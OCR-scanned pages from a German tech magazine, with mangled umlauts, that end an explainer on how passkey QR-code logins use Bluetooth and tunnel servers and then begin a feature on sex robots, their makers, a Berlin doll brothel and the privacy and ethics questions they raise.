dest nicht, sofern er sich nicht in unmittel-
barer Nihe befindet.

Das Bluetooth-Advertisement erfiillt
noch eine weitere Aufgabe: In der ver-
schliisselten Payload stecken Verbindungs-
parameter, die verwendet werden, um die
folgende Kommunikation zwischen Rech-
ner und Smartphone, die eigentliche Pass-
key-Authentifizierung, iiber einen externen
Server abzuwickeln. Bluetooth hat an die-
ser Stelle bereits seine Schuldigkeit getan.

Tunnelbau

Uber den QR-Code (Wert 2 im Feld "2")
hat der Rechner dem Smartphone mitge-
teilt, dass er zwei solcher Tunnelserver
kennt. Diese sind festin CTAP spezifiziert:
Derzeit gibt es je einen, den Apple (cable.
auth.com) betreibt, und einen von Google
(cable.ua5v.com). Welcher genutzt werden
soll, gibt das Smartphone in der verschliis-
selten Payload des Bluetooth-Advertise-
ments vor. Apple-Gerite bevorzugen den
Apple-Server, Androiden Google.

In der Payload steckt aufSerdem die
Routing-ID (24 Bit), die notwendig ist,
damit der Tunnelserver den Datenaus-
tausch zwischen Rechner und Smartphone
routen kann. Dariiber hinaus gibt das
Smartphone iiber die Payload die soge-
nannte Connection Nonce vor, eine 80 Bit
lange, zufillige Datenfolge. Mit dieser
kann der Rechner dem Smartphone bewei-
sen, dass er das Bluetooth-Advertisement
empfangen hat. Dasletzte Puzzleteil ist die
Tunnel-ID (128 Bit), die die Tunnelverbin-
dung eindeutig identifiziert. Sie wird von
dem QR-Secret abgeleitet, das beide Ge-
rite kennen.

Mit diesen Daten baut der Rechner
schliefSlich eine WebSocket-Verbindung
zu dem Tunnelserver auf, etwa zu wss://
cable.ua5v.com/cable/connect/[Routing-
ID]/[Tunnel-ID], um das Smartphone zu
erreichen. Wenn sie steht, liefert der Rech-
ner mit der Connection-Nonce aus dem
Bluetooth-Advertisement dem Smart-
phone den Beweis, dass er das Funkpaket
empfangen hat und sich auf seiner Seite
des Tunnels tatsachlich der gewiinschte
Verbindungspartner befindet.

Anschlieflend bauen Rechner und
Smartphone iiber den Tunnel eine Ende-
zu-Ende-verschliisselte Verbindung auf.
Hierbei kommt der Public Key zum Ein-
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satz, den der Rechner anfangs tiber den
QR-Code mitgeteilt hat (Wert "o"), auf3er-
dem wird ein symmetrischer Krypto-
schliissel von dem QR-Secret und der ent-
schliisselten Bluetooth-Antwort des
Smartphones abgeleitet. Fiir den Aufbau
der Verschliisselung kommt KNpskO aus
dem Noise Protocol Framework zum Ein-
satz, ein Handshake-Muster fiir sichere
Kommunikationsprotokolle. Die folgen-
den Nachrichten sind verschliisselt mit
AES-256-GCM, auch der Tunnelservice
kann sie daher nicht entschliisseln.

Authentifizierung liber CTAP2

Wenn der geschiitzte Tunnel steht, kann
der Rechner das Smartphone iiber CTAP2
ansprechen, dhnlich wie einen FIDO2-
Stick, der tiber USB angeschlossenist. Die
eigentliche Passkey-Authentifizierung
beginnt erst jetzt [4]: Nachdem das Pass-
key-Verfahren in Gang gesetzt wurde,
muss man auf dem Smartphone dessen
Authenticator entsperren. Hierzu ist der
Gerite-Passcode gefragt, noch komfor-
tabler klappt es per Fingerabdruck- oder
Gesichtsscan. Diese Daten verwendet das
Smartphone nurlokal zum Entsperren und
iibertragt sie nie.

Soll ein Passkey erstellt werden, ge-
neriert der Authenticator ein Schliissel-
paar, dessen Offentlicher Part tiber den
Tunnel an den Rechner und von dort
schlieflich an den Webdienst geschickt
wird. Der Webdienst verkniipft den 6ffent-
lichen Schliissel mit dem Account des Nut-
zers. Der private Schliissel bleibt geschiitzt
im Authenticator und ist nicht auslesbar.

Mochte man sich mit dem Passkey
einloggen, iberpriift der Authenticator, ob
er einem zum Webdienst passendes
Schliisselpaar hat. Wird der Authenticator
fiindig, nutzt er den privaten Schliissel fiir
eine digitale Signatur, die dem Webdienst
zweifelsfrei beweist, dass er im Besitz des
mit dem Account verkniipften Schliissel-
paars ist - ohne den privaten Schliissel
preiszugeben [2]. Anschlieflend ist man
eingeloggt.

QR-Code iiberspringen

Das anfiangliche Scannen des QR-Codes
ist prinzipiell nur beim ersten Mal nétig,
weil sich der Rechner die Verbindungspa-
rameter merken kann. Dieses Verfahren st
in der CTAP-Spezifikation als ,,State-as-
sisted Transactions“ beschrieben, im Un-
terschied zu den oben beschriebenen ,,QR-
initiated Transactions". Beide Gerite miis-
sen diese unterstiitzen. Der Rechner sig-

On

QR-Code beim nachsten Mal
tberspringen?

Deine Geréte kdnnen sich wiedererkennen

Dauerhafte Bindung: Das Scannen des
QR-Codes ist nur beim ersten Mal nétig.

Nicht jetzt

nalisiert iiber Wert "4" des QR-Codes, ob
erdazuinder Lageist-in den dekodierten
Beispieldaten oben steht dort ein true.

Ineinem solchen Fall fragt das Smart-
phone nach dem Scannen des QR-Codes,
obmanden ,,QR-Code beim niachsten Mal
iberspringen” mochte. Stimmt man zu,
bietet der Rechner bei der nachsten Pass-
key-Authentifizierung das ihm bekannte
Gerit gleich zur Auswahl an. Wahlt man
es aus, kann er die Authentifizierung ohne
QR-Code tiber den Tunneldienst ansto-
3en. Auf dem Smartphone erscheint dann
jedes Mal eine Benachrichtigung, tiber die
man dem Vorgang zustimmen muss. Auch
in diesem Fall muss das Smartphone per
Bluetooth beweisen, dass es sich in der
Nihe des Rechners befindet - sicher ist
sicher.

Warum so kompliziert?

Der Aufwand, der betrieben wird, um eine
sichere Verbindung zwischen Rechnerund
Smartphone herzustellen, ist beachtlich.
Es ginge prinzipiell auch einfacher: In
CTAP sind seit Jahren und wie oben be-
schrieben mehrere Verbindungswege zum
Authenticator spezifiziert, sogenannte

123



Wissen | Passkeys: So funktionieren die QR-Codes

FIDO2-Authenticator mit Bluetooth-
Direktverbindung wie den AllinPass
FIDO2 gibt es bereits seit vielen Jahren.

Transport-specific Bindings, die allesamt
ohne Umwege liber Tunnelserver auskom-
men. Neben USB und NFCist der Einsatz
von Bluetooth Low Energy moglich, als
Direktverbindung zwischen den Geréaten.
Es gibt auch vereinzelt Authenticator-
Hardware mit Bluetooth zu kaufen, etwa
den AllinPass FIDO2 von Feitian, den wir
bereits vor rund fiinf Jahren vorgestellt
haben [5].

Eine solche Bluetooth-Direktverbin-
dung ist jedoch storanfillig: Um eine ver-
schliisselte Verbindung aufzubauen, ist
ein Pairing zwischen den Geréten notig.
Und das klappt nicht immer so reibungs-
los, wie es sollte. Wer haufiger Bluetooth-
Gerite verschiedener Hersteller mitein-
ander koppeln muss, wird das kennen.
Unterschiede und Bugs in den Bluetooth-
Implementierungen sorgen dafiir, dass das
Koppeln zum Geduldsspiel werden kann.

Als Losungsansatz hat Google ein
Verfahren namens cloud-assisted BLE
(caBLE) entwickelt. Es nutzt einen Trick,
um die FIDO2-Authentifizierung robust
und sicher tiber Bluetooth Low Energy
durchzufiihren - ohne Bluetooth-Pairing.
Im ersten Anlauf im Jahr 2019 kam die
Technik nur auf google.com zum Einsatz,
um am Rechner das Smartphone als zwei-
ten Faktor fiir den Google-Account ver-
wenden zu konnen.

BeicaBLE steuert der Chrome-Brow-
ser die Bluetooth-Verbindung. Hat man
das Smartphone als zweiten Faktor regis-
triert, wurde es mit einem Shared Secret
ausgestattet. Beider Authentifizierung hat
Chrome dann Bluetooth-Advertisements
(Broadcasts) verschickt, dessen Payloads

124

mit dem Secret verschliisselt waren. Das
Smartphone hat diese Advertisements
empfangen und auf gut Gliick probiert, die
Daten mit den ihm bekannten Schliisseln
zu dechiffrieren. Im Erfolgsfall wurde die
FIDO2-Authenfizierung anwendungsver-
schliisselt tiber das BLE-Protokoll ,,Gene-
ric Attribute Profile” (GATT) abgewickelt.

Das klappte auch auf fremden Rech-
nern, weil Chrome das Shared Secret beim
Einloggen von Google erfahren hat, wenn
derzweite Faktor gefragt war. Dennoch war
das Verfahren nicht perfekt, daes einerseits
weiterhin stark auf die Stabilitit von BLE
angewiesen und zudem ganz auf die Be-
diirfnisse von Google ausgerichtet war: Es
funktionierte nur mit Chrome, Android-
Smartphones und google.com. Ein Einsatz
aufanderen Plattformen und Websites war
zundchst nicht vorgesehen.

caBLE wird zu Hybrid Transports

Im zweiten Anlauf stellte Google mit
caBLE v2 das Konzept schliefdlich auf den
Kopfund setzte einige entscheidende Ver-
besserungen um, darunter den Einsatz von
QR-Codes fiir den Erstkontakt. Die Ab-
hangigkeit von der Bluetooth-Stabilitat
wurde damit erheblich reduziert: Der
Rechner verschickt nicht linger Adverti-
sements, nach denen das Smartphone
lauschen muss, stattdessen erfahrt es
durch das Scannen eines QR-Codes, dass
die Authentifizierung starten soll.

Von ,,BLE“ in ,,caBLE® ist nur noch
das Bluetooth-Advertisement iibrig, das
das Smartphone nach dem Scannen des
QR-Codesverschickt, anschliefBend wech-
seln Rechner und Smartphone auf einen
Tunnelserver im Internet (siche oben).
Das Verfahren wurde mit CTAP 2.2 in die
FIDO-Spezifikation aufgenommen, dabei
wurde es konsequenterweise von caBLE
in ,,Hybrid Transports“ umbenannt.

Inzwischen haben neben Google auch
Apple und Microsoft den hybriden Trans-
portweg, also das QR-Code-Verfahren,
implementiert, wodurch es herstelleriiber-
greifend nutzbar ist. Es gibt dabei zwei
Rollen, die Rechner, Smartphones und
Tablets einnehmen konnen: Auf dem Cli-
ent ist die Website oder App geoffnet, der
Authenticator soll die Authentifizierung
fiir den Client durchfiihren.

In den haufigsten Fillen diirfte der
Rechner der Client sein und das Smart-
phone der Authenticator. Ein Smartphone
kann aber genauso gut selbst als Client
arbeiten und ein anderes Smartphone
oder Tablet als Authenticator verwenden.

Hierzu zeigt das Client-Smartphone einen
QR-Code an, genauso wie oben beschrie-
ben. Welche Kombinationen méglich sind,
hangt von den Herstellern ab.

Die QR-Code-Methode wird von Win-
dows, Android und den Apple-Betriebssys-
temen nativ unterstiitzt, Browser konnen
davon Gebrauch machen. Linux ist noch
nicht so weit, jedoch hilft Google Chrome
aus der Patsche, das auf eine eigene Im-
plementierung des Passkey-Verfahrens
zuriickfallt, wenn das Betriebssystem
nichts anbieten kann.

Fazit

Das Smartphone als Passkey-Authentica-
tor zu verwenden, ist aus Anwendersicht
denkbar einfach: QR-Code scannen, be-
statigen und fertig. So kann man sich
selbst auf fremden Rechnern sicher bei
Websites einloggen. Erst der Blick hinter
die Kulissen zeigt, welcher Aufwand be-
trieben wird, um das Verfahren nicht nur
einfach, sondern auch sicher zu gestalten.

Dass im Hintergrund Bluetooth zum
Einsatz kommen muss, ist dem einen oder
anderen vielleicht schon aufgefallen: Ver-
sucht man das QR-Code-Verfahren mit
abgeschaltetem Bluetooth zu nutzen, wird
man dazu aufgefordert, es zu aktivieren.
Ist der Rechner nicht mit Bluetooth aus-
gestattet, wird die QR-Code-Option gar
nicht erst angeboten, was schon zu man-
cher Irritation gefiihrt hat.

Uberraschend ist vielleicht, dass die
anschlieffende Authentifizierung nicht
iiber Bluetooth abgewickelt wird, sondern
iiber externe Tunnelserver. Dies setzt bei
beiden Geriten eine aktive Internetver-
bindung voraus, jedoch miissen sie sich
nicht im selben Netzwerk befinden. Un-
term Strich geht das aufwendige Konzept
auf: In den meisten Féllen klappt das Ein-
loggen per QR-Code-Scan problemlos,
unabhingig von den Herstellern der ver-
wendeten Gerite. (rei@ct.de)
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Diener der Lust

Sexroboter: von der Gummipuppe zum Androiden

Die Haut sogenannter Sexrobo-
ter besteht aus beheizbarem
Silikon, Servomotoren bewegen
ein Skelett aus Metall. Erste
Prototypen zeigen Mimik und
fihren mittels kiinstlicher Intelli-
genz einfache Dialoge. Kiinftig
sollen sie das Gesicht ihres
Nutzers erkennen und ein
personliches Profil speichern.
Ist das wiinschenswert, verwerf-
lich oder gar gefahrlich?

Von André Kramer
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S ieheiflen ,,Recreational Androids®. So
steht es unter der Fu3sohle humanoi-
der Roboter der Marke RealDoll des US-
amerikanischen Herstellers Abyss Creati-
ons. Zu Deutsch bedeutet das Freizeit-
androide, das vorangestellte Adjektiv steht
fiir ,,der Erholung oder Entspannung die-
nend", angelehnt an Begriffe wie ,Recrea-
tional Vehicle (Wohnmobil) oder ,,Re-
creational Drug® (weiche Droge). Die
Puppen dienen dem Zweck, sexuelle Be-
diirfnisse zu befriedigen. Sie sehen im
Detail moglichst lebensecht aus. Ihre Pro-
portionen wirken jedoch wie die einer
stereotypen Frau der Kategorie ,,sexy*, die
Kurven ausladend, die Wimpern lang, das
Make-up kriftig. Die aufreizende Hiille
tiillen einige Hersteller mit Elektronik, die
ausden Puppen mehr oder minder smarte
Androiden macht.

Thre Namen - ,Jackie®, , Tiffany*, ,, Mi-
saki®, ,,Rocky“ oder ,,John“ - klingen wie
aus einem Pornofilm entnommen. Das ist
kein Zufall: Echte Personen verkaufen ihr
Aussehen, das die Hersteller auf die Sex-
puppen tibertragen. Vor allem Pornodar-
stellerinnen sind bei der Kundschaft be-
liebt. Die Puppen kommen zudem besser
an, wenn sie lebensechte Attribute wie
Muttermale oder Tattoos aufweisen. Ein
Nutzer aus Taiwan habe Scarlett Johans-
son nachbilden lassen, sagte ein Hiandler
gegeniiber c’t. Bestitigen lasst sich so eine
Aussage nicht.

Obwohl es sich um leblose Produkte
aus Kunststoff und Metall handelt, ver-
menschlicht man die Gegenstinde unwill-
kiirlich und spricht von ,,ihr“ oder ,,ihm®.
Dabei wire das Pronomen ,,es“ passender
fiir die lebensgrofden Actionfiguren. Mit
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€€ kompakt

¢ Hersteller wie RealDoll und Irontech
arbeiten an realistischen Sexrobo-
tern, die sprechen und einfache
Bewegungen ausfiihren konnen.

e Menschen nachzubilden ist beson-
ders anspruchsvoll. Unbewegliche
Puppen werden eher akzeptiert als
solche mit Animatronik, die wirkt
wie auf der Kirmes.

e Smarte Sexroboter kosten hohe
vierstellige Betrdge. Einsatzgebiete
gibts in der Therapie und in der
Pflege.

ihren billigen, aufblasbaren Verwandten
vom Junggesellenabschied haben Tiffany
und Rocky allerdings nicht viel gemein und
dashatseinen Preis: Sehr giinstige Vertreter
gehobener Sexpuppen kostenim Sonderan-
gebot etwas liber 500 Euro. In der Regel
miissen Kunden mehrere Tausend Euro
hinblattern. Mit Roboterkopf liegt man
schonim fiinfstelligen Bereich. Das konnen
und wollen sich nur wenige Kunden leisten.

Im Berliner Cyberbordell

Das Cybrothel, ein Kofferwort aus Cyber
und Brothel (Bordell), in Berlin-Fried-

richshain verkauft Rollenspiele mit sol-
chen Sexpuppen als Dienstleistung und
kombiniert sie mit VR-Inhalten oder
einem KI-gesteuerten Livedialog. Eine
Puppe zu buchen, hat nicht nur einen
preislichen Vorteil: Fragen wie ,,Steht die
auf mich?“ spielen keine Rolle.

Wir fahren zum Hausbesuch ins Cy-
brothel. In mehreren Reihen hingen im
Hinterzimmer verschiedene Puppenkor-
peran Seilen von der Decke:kleine, grof3e,
uppige, zierliche, ménnliche, weibliche
und sogar ein aufderirdischer. Mitarbeiter
reinigen und desinfizieren sie, ziehen sie
nach Buchungswunsch an und statten sie
mit Kopfen sowie Periicken aus. Schau-
spielerinnen, die ,,Voice-Queens®, leihen
den Puppen derzeit noch ihre Stimmen.
Die Schauspielerinnen verkorpern je nach
gebuchter Geschichte Rollen wie eine Leh-
rerin, eine Schiilerin oder eine Domina.

Das Programm soll stetig erweitert
werden. Vor allem Geschichten aus Fan-
tasy und Science-Fiction mochte das Cy-
brothel bedienen. Aufder Luna, der Vam-
pirin, halten sie eine blaue Asari-Alien-
puppe aus der Mass-Effect-Serie fiir Sci-
Fi-Fantasien vorritig. Der Succubus, ein
weiblicher, aus Videospielen bekannter
Diamon, ist gefragt, aber auch Meerjung-
frauen. Eine Orientierung gibt die Such-
statistik von Videospielcharakteren auf
PornHub. Hoch im Kurs stehen dort Fort-
nite- und Overwatch-Charaktere sowie

Je nach Kundenwunsch statten Cybrothel-Mitarbeiter ihre Puppen mit
verschiedenen Képfen und Periicken aus.
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An Seilen hangen unterschiedliche
Puppenkorper im Hinterzimmer des
Berliner Cybrothel von der Decke.

Lara Croft aus Tomb Raider und die tiber-
lebensgrofle Lady Dimitrescu aus dem
First-Person-Survival-Horror-Spiel ,,Resi-
dent Evil Village®.

Einen Aufenthalt bucht man im Web,
per E-Mail oder WhatsApp. Kundenkonnen
sich pseudonym anmelden, bar bezahlen
und das Cybrothel anonym besuchen. Ein
Mitarbeiter tiberwacht aus dem Kontroll-
raum den Eingangsbereich mit einer Ka-
mera. Danach folgen die Kunden einer
Stimme aus dem Lautsprecher ins eigent-
liche Cybrothel. Es ist ausgestattet mit
einem Bett, einer Liebesschaukel und
einem Beamer. Langfristig soll virtuelle
Realitdt den Raum digital ersetzen. In Ko-
operation mit der Filmfirma BaDoink hat
das Cybrothel einen VR-Porno gedreht: Das
intergalaktische Wesen Kokeshi landet auf
der Erde und mochte lernen, wie Menschen
Sexhaben. Alternativ steuern Besucherim
auch auf Steam erhiltlichen Videospiel
VRX Cherry von Polybay iiber einen Hiift-
Controller einen virtuellen Penis.

Eine Stunde im Basic-Tarif mit einer
Puppe nach Wahl kostet 89 Euro. Die
meisten entscheiden sich fiir eine Stunde,
wenige bleiben zwei Stunden oder {iber
Nacht. Extraslassen sich hinzubuchen: 60
Minuten Mixed-Reality-Sex samt Puppe
und VR-Headset kosten 199 Euro. ,,Beiuns
bucht man die Session nicht zwei Monate
im Voraus®, sagt Griinder Philipp Fussen-
egger. Daslduft eher so:,,Ich binjetzt geil,
ich komme in zwei Stunden vorbei.“
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Die Kunden sind im Durchschnitt
etwa 30 Jahre alt, interessieren sich fir
Technik, Gaming sowie virtuelle Realitat
und mochten etwas Neues ausprobieren.
»Das Klischee vom Vater, der seinen Sohn
zum 18. Geburtstag mit auf die Reeper-
bahn nimmt, existiert nicht mehr*, sagt
Fussenegger. ,Heute ist man auf Onlyfans
oder mochte mit seinem Lieblingsspiele-
charakter Sex haben.”

Silikon tiber metallischem
Endoskelett

Direkt menschlich fithlen sich die Puppen
nichtan. Unter dem Arm aus Silikon spiirt
man deutlich das Metallskelett. Handge-
lenk, Schulter, Ellenbogen, Knie oder
Hiifte lassen sich bewegen wie bei einer
iibergrofden Barbie.

Frithe Vertreter hatten eine unnatir-
lich glatte Haut. Aktuelle hochpreisige
Sexpuppen bestehen aus thermoplasti-
schen Elastomeren (TPE) oder Silikon.
Puppen aus TPE sind weicher, elastischer,
aber auch empfindlich gegeniiber Hitze
und Flecken. Das Material kann auf3erdem
schwitzen und muss daher mit Babypuder
behandelt werden. Silikonpuppen sind
leichter zu reinigen und weniger empfind-
lich, aber teurer und fester.

Das Gerippe aus Metall bildet nicht
nur die Gelenke des menschlichen Kor-
pers grob nach, sondern gibt der Puppe
auch die notige Stabilitt. Ein RealDoll-
Skelett besteht aus Stahl oder Verbund-
metall mit 14 beweglichen Gelenken an
Nacken, Schultern, Ellenbogen, Hinden
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Eine Buchse fiir ein Netzteil verbirgt sich in der Haut aus thermoplastischem

Elastomer und zerstort die lllusion.

und Lenden. Die Finger bestehen aus Me-
talldraht. Eine Neuerung ist ein weiteres
Gelenk, das die Achseln nach oben be-
wegt, damit die Puppe ein Stiick men-
schenahnlicher wirkt, wenn man sie am
Oberarm anhebt.

Je nach Modell haben die Puppen eine
Korperhohe von 1,40 m bis 1,75 Metern.
Thre Grofde wirkt sich nicht nur auf den
Verkaufspreis aus, sondern auch auf das
Gewicht. Sie wiegen zwischen 28 und 40
Kilogramm. Kleine Puppen wiren giinsti-
ger und leichter zu handhaben, wiirden
aber allein aufgrund ihrer Grofie wie Kin-
der wirken. Nicht zuletzt vermutlich des-

Ein Tutorial von
Irontech Doll er-
klart, wie der sepa-
rat gelieferte Kopf
auf den Korper
montiert wird.

wegen hat die kleinste Puppe von Irontech
Doll besonders iippige Proportionen.

Friihstiick mit Tiffany

Frithe Sexroboter scheiterten an techni-
schenund finanziellen Hiirden. Der Proto-
typ Roxxxy von der Firma TrueCompani-
on sollte verschiedene, in Software reali-
sierte Personlichkeiten verkorpern: die
offenherzige ,Wild Wendy*, die eher zu-
geknopfte ,,Frigid Farrah und die uner-
fahrene ,Young Yoko“. TrueCompanion
stellte sein Konzept im Jahr 2010 vor und
nahmin der Folgezeit 4000 Vorbestellun-
gen zu Preisen ab 9995 US-Dollar entge-
gen. Das Medienecho war schon im Vor-
feld grof3; es hagelte Kritik an den stereo-
typen Charakteren. Materialisiert hat sich
die smarte Sexpuppe indes nicht. Im Jahr
2017 berichtete der Guardian, dass nie ein
Produkt der Firma bei einem Kunden
ankam. Die Domain der Herstellerseite
steht seither wieder zum Verkauf.

Der US-Hersteller Abyss Creations
bietet Roboterkopfe der Reihe RealDoll X
an, die man im Webshop zusammen mit
einem nichtrobotischen Puppenkorper er-
werben kann. Ein Roboterkopf der Figur
Harmony, Solana, Serenity, Nova oder
Tanya kostet jeweils rund 7500 US-Dollar.
Fiir einen Standardkorper kommen 4000
US-Dollar hinzu. Piercings und dhnliches
kosten extra. Die Lieferzeit betrigt laut
Hersteller sechs bis acht Monate.

Videos zeigen, wie die Roboterkopfe
auf Gesprichsbeitriage reagieren und beim
Sprechen Kopf, Augen sowie Lippen be-
wegen. Die holzernen Bewegungen erin-
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nern an Kirmesanimatronik und rechtfer-
tigen nur schwer den saftigen Aufpreis.
Uber die Webseite realdollx.ai kann man
die realdollx-App fiir 20 US-Dollar erwer-
ben und als APK-Datei fiir Android he-
runterladen, um mit der KI zu chatten.
Eine iOS-Version gibt es gar nicht. Das
diirfte sich auch schwer mit den Richtli-
nien von Apple und Google fiir den App
respektive Play Store decken. Mit uns spre-
chen wollte der Hersteller trotz mehrfa-
cher Anfragen nicht.

Von der Puppe zum Roboter

Auch der chinesische Hersteller Irontech
Doll fiigt seinen Puppen sukzessive elek-
tronische Zusatzfunktionen hinzu. Mit
Heizelementen ausgestattet, sollen sich
die Korperteile aus Kunststoff etwas le-
bensechter anfiihlen. Mithilfe von Moto-
ren im Hiiftbereich lassen sich die schwe-
ren Puppen leichter in gewisse Positionen
bringen. Sie konnen den Mund bewegen,
allerdings nicht, um Mimik auszudriicken,
sondern um eingefithrte Gegenstinde
oder Korperteile anzusaugen. Vergleich-
bare Funktionen sind in der nachgebilde-
ten Vagina verbaut. Arme und Beine der
Puppenkorper lassen sich abgesehen vom
Hiiftmotor nur passiv bewegen. Die kom-
merziell verfligbare Puppenelektronik hat
mit Robotik bisher nicht viel zu tun. Das
soll sich aber andern.

Wie Abyss Creations bewirbt auch
Irontech Doll auf Messen sowie auf Face-
book, Instagram und X den Prototyp eines
Androidenkopfes, der Mimik zeigt. Er
kann die Augen vonlinks nach rechts wan-
dernlassen, kneift beim Lacheln die Lider
zusammen und bewegt beim Sprechen
den Unterkiefer, was jedoch wie gedan-
kenverlorenes Kaugummikauen aussieht.
Der Kopf'soll kiinftig im Kontext der Inter-
aktion mit dem Nutzer lacheln, zwinkern,
nicken und die Stirn runzeln. Mit einem
Large-Language-Model (LLM) verkniipft,
die auch die Basis fiir KI-Chatbots wie
ChatGPT bilden, soll er Anweisungen und
Fragen verstehen und darauf reagieren
konnen. Fiir den Anfang will auch der chi-
nesische Hersteller eine Smartphone-App
veroffentlichen, tiber die Nutzer mit der
Kl interagieren konnen.

Touch-Sensoren erkennen in kiinfti-
gen Versionen Berithrungen und losen
Reaktionen aus. Die Puppen sollen letzt-
lich emotionale Intelligenz simulieren,
etwa Empathie und Freude ausdriicken
oder Trost spenden. Irontech Doll trainiert
dabei nach eigenen Angaben eine inte-
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grierte KI. ,,Die durch Interaktionen ge-
sammelten Daten werden verwendet, um
die Reaktionen und Verhaltensweisen der
Puppe im Laufe der Zeit zu personalisieren
und ihre Personlichkeit an die Vorlieben
und Wiinsche des Benutzers anzupassen”,
schreibt der Hersteller. Das schlief3e auch
Gesichtserkennung ein.

Uber Bluetooth und WLAN greift die
Puppe aufdas Internet zu, um Informatio-
nen abzurufen, Geschichten zu erzihlen
oder mit dem Smart Home zu interagie-
ren. ,,Beiunserem Ansatz zur KI-Entwick-
lung berticksichtigen wir stets die ethi-
schen Standards, Datenschutzbedenken
und sozialen Auswirkungen der Nutzung
solcher Technik", versichert Irontech.

Solche Ankiindigen rufen Daten-
schiitzer auf den Plan. ,,Die KI des Robo-
ters speichert biometrische Daten, die der
Identifizierung von Personen dienen. Sie
sind personenbezogen und somit findet
das Datenschutzrecht Anwendung", sagt
Iris Phan, Juristin und Lehrbeauftragte fiir
Roboterethik des Instituts fiir Philosophie
der Leibniz-Universitit Hannover im Ge-
sprich mit ¢’t. Neben der Gesichtserken-
nung werden auch Gesundheitsdaten,
Daten zur sexuellen Orientierung oder

IRONTECH DOLL

Der Androidenkopf von Irontech Doll
lasst die Augen zur Seite wandern,
kneift die Lider zu und bewegt den
Mund beim Sprechen.

Bild: Irontech Doll
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zum Sexualleben gesammelt. ,,Zusammen
mit ,personlichen Vorlieben', die der Nut-
zer selbst eingeben kann, entsteht hier ein
sehr intimes Profil®, so Phan. Die Sexro-
boter sollen sich mit dem Internet verbin-
denund es braucht nicht viel Fantasie, sich
bei Datendiebstahl den zugehorigen Er-
pressungsversuch vorzustellen.

Klinstliche Puppenintelligenz

Das Thema Datenschutz treibt auch die
Berliner Entwickler des Cybrothel um.
Langfristig soll dort kiinstliche Intelligenz
die menschlichen Voice-Queens vollstan-
dig ersetzen. Gegenwirtig experimentie-
rendie Berliner mit beiden Ansétzen. ,,Wir
haben die erste sexpositive, queere KIder
Welt", sagt Cybrothel-Entwickler Matthias
Smetana im Gesprich mit ¢’t. ,,Die lauft
hier lokal auf einem Gaming-PC.*

Aus Datenschutzgriinden laufen das
LLM sowie Spracherkennung und -synthe-
se vor Ort im Kontrollraum. ,,Uber APIs
liefSen sich zwar ChatGPT einbinden und
Stimmen generieren, aber daslandet dann
gleich auf drei, vier verschiedenen Ser-
vern“, gibt Smetana zu bedenken. ,Wir
binden Open-Source-Modelle ein. Nicht
zuletzt erlaubt der ChatGPT-Entwickler
OpenAlauch keine Sexanwendungen. Das
Gesprich wire schnell am Ende, wenn
ChatGPT die eindeutigen Avancen der
Nutzer zuriickweist.

Die Kunden interagieren im Cybro-
thel iber Mikrofon und Lautsprecher mit
der KI nebenan. Immer nur der letzte
Input und der letzte Output werde gespei-
chert, versichert Smetana. ,Wir haben
keine History aufunserem KI-Modell.“ So
begegnen die Betreiber Datenschutzbe-
denken. Sie gehen gleichzeitig davon aus,
dass die Leute mehr KI als menschliche
Voice-Queens buchen. ,,Die Erfahrung
zeigt, dass sich die Kunden der KI in der
Anonymitdt mehr 6fftnhen als einer mensch-
lichen Gesprichspartnerin®, sagt Cybro-
thel-Betreiber Fussenegger. Die Cybro-
thel-Entwickler haben thematische Be-
schrinkungen in ihr Sprachmodell einge-
baut. Fragen Kunden nach Sex mit
Kindern, Inzest oder Nekrophilie, zeigt die
KI Grenzen auf.

Mensch und Maschine

Ahnlich wie bei der Videospieldiskussion
um ,,Call of Duty“ oder ,,Counter Strike*
steht auch bei Sexrobotern schnell die
Ethikfrage im Raum, geht das Gesprich
Richtung Gewalt oder Padophilie: Dient
das Unterhaltungsprodukt lediglich als
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Besonders Geschichten aus Fantasy und Science-Fiction sind im Cybrothel gefragt.
Eine der Puppen dafiir heit Blue und stammt aus dem Videospieluniversum von

Mass Effect.

Ventil oder trainiert es ein unerwiinsch-
tes Verhalten? Der Sexualtherapeut Ul-
rich Clement dufderte in Zeit online, dass
derzeit unklar sei, welche Theorie zu-
trifft. Ein Handler gibt auf seiner Web-
seite Hinweise, um die Lebensdauer der
Puppen zu maximieren: ,Behandeln Sie
Sexpuppen nicht grob.“ Da steht nicht
sunsachgemiR‘, sondern ein vermensch-
lichendes Attribut, das in der Bedie-

nungsanleitung eines Toasters sicher
keinen Platz finde. Der Hinweis hindert
dennoch niemanden, Vergewaltigungs-
szenarien nachzuspielen oder eine Ziga-
rette auf der Silikonhaut auszudriicken.
Umgekehrtist es auch nicht auszuschlie-
8end, dass sich jemand in seinen Gegen-
stand verliebt, statt ihn nur als unbeleb-
tes Objekt der Lust zu benutzen. Es gibt
immerhin das Phidnomen der Objekto-

Das Webportal PornHub listet die meistgesuchten Videospielcharaktere.
Neben Lara Croft aus Tomb Raider liegt Lady Dimitrescu aus dem First-Person-
Survival-Horror-Spiel ,,Resident Evil Village” hoch in der Gunst der Nutzer.
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Bild: Capcom

philie. ,,Sexroboter haben keinen ande-
ren Status - auch nicht rechtlich - als
andere Gegenstidnde®, gibt Juristin Iris
Phan aufderdem zu bedenken.

In kontrollierten Umgebungen kon-
nen Sexroboter gleichwohl eine sinnvolle
Funktion erfiillen, indem sie pflegebediirf-
tigen, alten oder Menschen mit Behinde-
rung einen Zugang zu Sexualitit ermog-
lichen, den sie sonst nicht bekommen.
Auch in Krankenhdusern und in der Psy-
chotherapie gibt es beispielsweise fiir die
Behandlung von Sozialphobien Anwen-
dungsmoglichkeiten. Einer aktuellen Stu-
die im deutschsprachigen Raum zufolge
stehen tber 80 Prozent der Befragten
einer gesellschaftlichen Nutzung unter be-
stimmten Voraussetzungen positiv gegen-
iiber, insbesondere bei kdrperlicher Ein-
schrankung, anstelle von Prostitution und
um bestimmte sexuelle Fantasien ausle-
ben zu kénnen. Uber 80 Prozent der Be-
fragten akzeptierten ferner die Verwen-
dung von Sexrobotern zur Bearbeitung
eines sexuellen Problems. Das berichtete
das Deutsche Arzteblatt im Mai 2019.

Allein schon aufgrund des hohen
Preises bleiben Sexroboter vorerst aber
ein Nischenprodukt. Die Entwicklung hu-
manoider Roboter verschlingt Unsum-
men. Denn kaum etwas ist schwieriger,
als Menschen glaubhaft nachzubilden.
Die Evolution hat unsere Gattung in Mil-
lionen von Jahren darauf trainiert, die
Korpersprache von Artgenossen zu lesen,
beispielsweise Aggression, Zuneigung
oder Verletzungen zu erkennen. Kleinste
Abweichungen fallen sofort auf. Unnattir-
lich wirkende Mimik irritiert unmittelbar.
Der Effekt ist als ,,Uncanny Valley“ be-
kannt: Menschen akzeptieren stark ver-
